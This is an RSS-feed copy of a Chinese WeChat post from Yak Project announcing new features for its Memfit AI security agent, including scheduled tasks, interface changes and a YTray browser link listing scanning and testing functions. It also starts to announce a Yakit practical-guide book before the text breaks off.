<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Yak Project</title>
    <link>https://wechat2rss.xlab.app/feed/1800f529b600474a4cd0434c65654c483739e192.xml</link>
    <description>CDSL-YAK：网络安全领域开源编程语言&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (Yak Project)</managingEditor>
    <pubDate>Fri, 04 Sep 2026 16:41:05 +0800</pubDate>
    <lastBuildDate>Fri, 04 Sep 2026 16:41:05 +0800</lastBuildDate>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7KqSmMLaaT8iaANsHktpUJwGgPxAYAaBZyibzCBCmTCRaw/0</url>
      <title>Yak Project</title>
      <link>https://wechat2rss.xlab.app/feed/1800f529b600474a4cd0434c65654c483739e192.xml</link>
    </image>
    <item>
      <title>《Yakit 实战指南》出版啦，送点小礼物~</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530230&amp;idx=1&amp;sn=bebcf3ee9ca8de7b05dbd6472a0c7a1d</link>
      <description>《Yakit 实战指南》新书出版，进来抽奖吧~</description>
      <content:encoded><![CDATA[<p><span>Yak Project</span> <span>2026-09-04 16:41</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8a28cc41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72FQfwUdre1SvxrqQFQZY0HgIvPvZOU8AjicuGwenx7NU6iat48ib0r2zFpKhM91ibK6OtR3XCIbpYrkbssYZcyNv22VWaEf2bl5QA0%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>《Yakit 实战指南》新书出版，进来抽奖吧~</p>
  <div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="display: inline-block;max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-s="300,640" data-type="gif" data-w="1079" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046546" src="https://wechat2rss.xlab.app/img-proxy/?k=6692380f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjibGAup6p72FWPFEticQ6Oa4Vbvs9L5HNz484jSq0jjW0Qx9dvllKXZLml8O5b1lfGF1udWXqb3a7U3cs7jI91Dn3LC9SGvAfdTL8uCGY9FKw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="font-size: 15px;letter-spacing: 1px;padding: 0px 8px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">Memfit AI 架构升级后，在8 月 26 日 到 31 日这6天里，有2635位用户参与体验，我们也收到了不少用户的体验反馈，感谢大家的支持~</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3333333333333333" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046541" src="https://wechat2rss.xlab.app/img-proxy/?k=7b65f9ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72FWZSicvhgiblUWOFwUqkmKfrOAVhAOe7V3LcI9hC07VLZoK0CEIiaicgBW60qxXPCOKzbsK9RGcjZ7OWMJoicIuTPmWDLmBqw4wyA4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="font-size: 15px;letter-spacing: 1px;padding: 0px 8px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">你们的每一次调用、每一条反馈，都是我们持续迭代的动力<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="20" style="display: inline-block;width: 20px;vertical-align: middle;background-size: cover;" src="https://wechat2rss.xlab.app/img-proxy/?k=f4b1d93b&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2FAddoil.png"/>。</span></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">接下来Memfit即将推出3个新功能~</span></p><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-nest-level="8"><strong data-nest-level="9"><span leaf="" style="font-size: 14px;font-weight: bold;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Optima-Regular, PingFangTC-light;" mpa-font-style="mtmox91m16uj" data-mpa-action-id="mtmox925c0t" data-pm-slice="0 0 []"><span textstyle="" style="font-size: 15px;">1. 定时任务（本周上线）</span></span></strong></span></p></div></div></div></div></div></div><div style="font-size: 15px;letter-spacing: 1px;padding: 0px 8px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">可通过AI会话、手动创建的方式创建定时任务，根据设置的频率执行任务，可以自动化完成一些监控或者定时查询任务</span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtmnaugncch" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.534375" data-s="300,640" data-type="png" data-w="2560" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046552" src="https://wechat2rss.xlab.app/img-proxy/?k=f8f6cb0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72H3ySbDPRacBKiaIEBPbLGLBYgcku77sHJicibTuKRXxzkoL3WZtQvASHkKCbGh9JOL5iaqZQkM3fk8jtVgpEfslgcdvs2ASluomRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">2. </span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; font-style: normal; font-weight: 400; text-align: justify; font-size: 16px; color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px; letter-spacing: 1px; padding: 0px 8px; font-family: PingFangSC-light; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;white-space: normal; margin: 0px; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 15px;">整体页面优化（这两周上线）</span></span></strong></span></p></div></div></div></div></div><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">通过右侧操作栏的方式，快速查看当前任务的执行时长、工具调用统计、流量、漏洞、文件等内容</span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtmncfhjwar" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.62109375" data-s="300,640" data-type="png" data-w="1280" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046553" src="https://wechat2rss.xlab.app/img-proxy/?k=5861d60f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HDopS7PKQHVUgtcLPDiaKmyYXXnroLUUVeWNdsl3v7WVBL2Bic1Q4UlWXEicPproT3ZnekSRrcGOFQZWKsSliac7SlGRibLFFmdxfc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">顶部的设置菜单和Agent里的配置进行整合更加便于使用，可快速找到需要的配置内容进行设置</span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtmnee4i160n" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.625" data-s="300,640" data-type="png" data-w="1296" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046556" src="https://wechat2rss.xlab.app/img-proxy/?k=e3c54265&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GeWOjOWdLXCIYJlufgY58kibkhiaw7moHCuBZboknIRxS9bGUvkrzB8iboPptro1PCgEc0ricEbKwjpKpB83U4SL3EXZ2J9QQyhJk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">3. </span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; font-style: normal; font-weight: 400; text-align: justify; font-size: 16px; color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px; letter-spacing: 1px; padding: 0px 8px; font-family: PingFangSC-light; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;white-space: normal; margin: 0px; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 15px;">YTray浏览器联动（这两周上）</span></span></strong></span></p></div></div></div></div></div><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">新产品YTray与Memfit AI联动，可通过对话让Agent调用浏览器。完成：</span></p><ul style="list-style-type: disc;margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="white-space: normal;margin-top: 0px;margin-bottom: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: bold;">浏览器自动化</span>（点击、填表、截图、打开网页、处理弹窗等）</span></p></li><li><p style="white-space: normal;margin-top: 0px;margin-bottom: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: bold;">网络探测</span>（端口扫描、爬虫、指纹识别）</span></p></li><li><p style="white-space: normal;margin-top: 0px;margin-bottom: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: bold;">安全测试</span>（弱口令爆破、漏洞验证、JWT分析、SQL注入检测等）</span></p></li><li><p style="white-space: normal;margin-top: 0px;margin-bottom: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: bold;">文件与数据处理</span>（读写文件、编码解码）</span></p></li><li><p style="white-space: normal;margin-top: 0px;margin-bottom: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: bold;">搜索与知识增强</span>（联网搜索、信息蒸馏）</span></p></li></ul><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtmojhckc2f" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.623688155922039" data-s="300,640" data-type="png" data-w="1334" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046569" src="https://wechat2rss.xlab.app/img-proxy/?k=e6cbd367&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HGJg8NZIIZKW0ceegtjs7e5R4r7mzxTwPlIGgiaibiaqnIlXvOMNGiar7rDKibvdhxAwLTm4DE2EDphnRWDywIGBS1wYwGnsHBUiccg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="20" style="display: inline-block;width: 20px;vertical-align: middle;background-size: cover;" src="https://wechat2rss.xlab.app/img-proxy/?k=a9420c6d&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2FLetMeSee.png"/>另外还有一个消息想跟大家说一下：</span></p><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">Yakit实战指南，出书啦~↓↓</span></span></p><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; font-style: normal; font-weight: 400; text-align: justify; font-size: 16px; color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px; letter-spacing: 1px; padding: 0px 8px; font-family: PingFangSC-light; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; white-space: normal; margin: 0px; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">Yakit实战指南，出书啦~↓↓</span></span></p><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; font-style: normal; font-weight: 400; text-align: justify; font-size: 16px; color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px; letter-spacing: 1px; padding: 0px 8px; font-family: PingFangSC-light; box-sizing: 